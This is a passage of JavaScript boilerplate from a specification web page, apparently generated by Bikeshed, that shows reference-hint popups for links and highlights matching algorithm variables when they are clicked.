mk.aside({ class: "ref-hint", id: `ref-hint-for-${safeUrl}`, "data-for": url, "aria-labelled-by": `ref-hint-for-${safeUrl}`, }, mk.ul({}, dfnTextElements, mk.li({}, mk.b({}, "URL: "), mk.a({ href: url, class: "ref" }, url), ), mk.li({}, mk.b({}, "Type: "), mk.span({}, `${ref.type}`), ), mk.li({}, mk.b({}, "Spec: "), mk.span({}, `${ref.spec ? ref.spec : ''}`), ), forListElements ), ); hintPanel.forLink = link; setupRefHintEventListeners(link, hintPanel); return hintPanel; } function hideAllRefHints() { queryAll(".ref-hint").forEach(el=>hideRefHint(el)); } function hideRefHint(refHint) { const link = refHint.forLink; link.setAttribute("aria-expanded", "false"); if(refHint.teardownEventListeners) { refHint.teardownEventListeners(); } refHint.remove(); } function showRefHint(link) { if(link.classList.contains("dfn-link")) return; const url = link.getAttribute("href"); const ref = refsData[url]; if(!ref) return; hideAllRefHints(); // Only display one at this time. const refHint = mkRefHint(link, ref); append(document.body, refHint); link.setAttribute("aria-expanded", "true"); positionRefHint(refHint); } function setupRefHintEventListeners(link, refHint) { if (refHint.teardownEventListeners) return; // Add event handlers to hide the refHint after the user moves away // from both the link and refHint, if not hovering either within one second. let timeout = null; const startHidingRefHint = (event) => { if (timeout) { clearTimeout(timeout); } timeout = setTimeout(() => { hideRefHint(refHint); }, 1000); } const resetHidingRefHint = (event) => { if (timeout) clearTimeout(timeout); timeout = null; }; link.addEventListener("mouseleave", startHidingRefHint); link.addEventListener("mouseenter", resetHidingRefHint); link.addEventListener("blur", startHidingRefHint); link.addEventListener("focus", resetHidingRefHint); refHint.addEventListener("mouseleave", startHidingRefHint); refHint.addEventListener("mouseenter", resetHidingRefHint); refHint.addEventListener("blur", startHidingRefHint); refHint.addEventListener("focus", resetHidingRefHint); refHint.teardownEventListeners = () => { // remove event listeners resetHidingRefHint(); link.removeEventListener("mouseleave", startHidingRefHint); link.removeEventListener("mouseenter", resetHidingRefHint); link.removeEventListener("blur", startHidingRefHint); link.removeEventListener("focus", resetHidingRefHint); refHint.removeEventListener("mouseleave", startHidingRefHint); refHint.removeEventListener("mouseenter", resetHidingRefHint); refHint.removeEventListener("blur", startHidingRefHint); refHint.removeEventListener("focus", resetHidingRefHint); }; } function positionRefHint(refHint) { const link = refHint.forLink; const linkPos = getBounds(link); refHint.style.top = linkPos.bottom + "px"; refHint.style.left = linkPos.left + "px"; const panelPos = refHint.getBoundingClientRect(); const panelMargin = 8; const maxRight = document.body.parentNode.clientWidth - panelMargin; if (panelPos.right > maxRight) { const overflowAmount = panelPos.right - maxRight; const newLeft = Math.max(panelMargin, linkPos.left - overflowAmount); refHint.style.left = newLeft + "px"; } } // TODO: shared util // Returns the root-level absolute position {left and top} of element. function getBounds(el, relativeTo=document.body) { const relativeRect = relativeTo.getBoundingClientRect(); const elRect = el.getBoundingClientRect(); const top = elRect.top - relativeRect.top; const left = elRect.left - relativeRect.left; return { top, left, bottom: top + elRect.height, right: left + elRect.width, } } function showRefHintListener(e) { // If the target isn't in a link (or is a link), // just ignore it. let link = e.target.closest("a"); if(!link) return; // If the target is in a ref-hint panel // (aka a link in the already-open one), // also just ignore it. if(link.closest(".ref-hint")) return; // Otherwise, show the panel for the link. showRefHint(link); } function hideAllHintsListener(e) { // If the click is inside a ref-hint panel, ignore it. if(e.target.closest(".ref-hint")) return; // Otherwise, close all the current panels. hideAllRefHints(); } document.addEventListener("DOMContentLoaded", () => { document.body.addEventListener("mousedown", showRefHintListener); document.body.addEventListener("focus", showRefHintListener); document.body.addEventListener("click", hideAllHintsListener); }); window.addEventListener("resize", () => { // Hide any open ref hint. hideAllRefHints(); }); } </script> <script>/* Boilerplate: script-var-click-highlighting */ "use strict"; { /* Color-choosing design: * Colors are ordered by goodness. * On clicking a var, give it the earliest color with the lowest usage in the algorithm. * On re-clicking, re-use the var's most recent color if that's not currently being used elsewhere. */ const COLOR_COUNT = 7; document.addEventListener("click", e=>{ if(e.target.nodeName == "VAR") { highlightSameAlgoVars(e.target); } }); function highlightSameAlgoVars(v) { // Find the algorithm container. let algoContainer = findAlgoContainer(v); // Not highlighting document-global vars, // too likely to be unrelated. if(algoContainer == null) return; const varName = nameFromVar(v); if(!v.hasAttribute("data-var-color")) { const newColor = chooseHighlightColor(algoContainer, v); for(const el of algoContainer.querySelectorAll("var")) { if(nameFromVar(el) == varName) { el.setAttribute("data-var-color", newColor); el.setAttribute("data-var-last-color", newColor); } } } else { for(const el of algoContainer.querySelectorAll("var")) { if(nameFromVar(el) == varName) { el.removeAttribute("data-var-color"); } } } } function findAlgoContainer(el) { while(el != document.body) { if(el.hasAttribute("data-algorithm")) return el; el = el.parentNode; } return null; } function nameFromVar(el) { return el.textContent.replace(/(\s|\xa0)+/g, " ").trim(); } function colorCountsFromContainer(container) { const namesFromColor = Array.from({length:COLOR_COUNT}, x=>new Set()); for(let v of container.querySelectorAll("var[data-var-color]")) { let color = +v.getAttribute("data-var-color"); namesFromColor[color].add(nameFromVar(v)); } return namesFromColor.map(x=>x.size); } function leastUsedColor(colors) { // Find the earliest color with the lowest count. let minCount = Infinity; let minColor = null; for(var i = 0; i < colors.length; i++) { if(colors[i] < minCount) { minColor = i; minCount = colors[i]; } } return minColor; } function chooseHighlightColor(container, v) { const colorCounts = colorCountsFromContainer(container); if(v.hasAttribute("data-var-last-color")) { let color = +v.getAttribute("data-var-last-color"); if(colorCounts[color] == 0) return color; } return leastUsedColor(colorCounts); } } </script>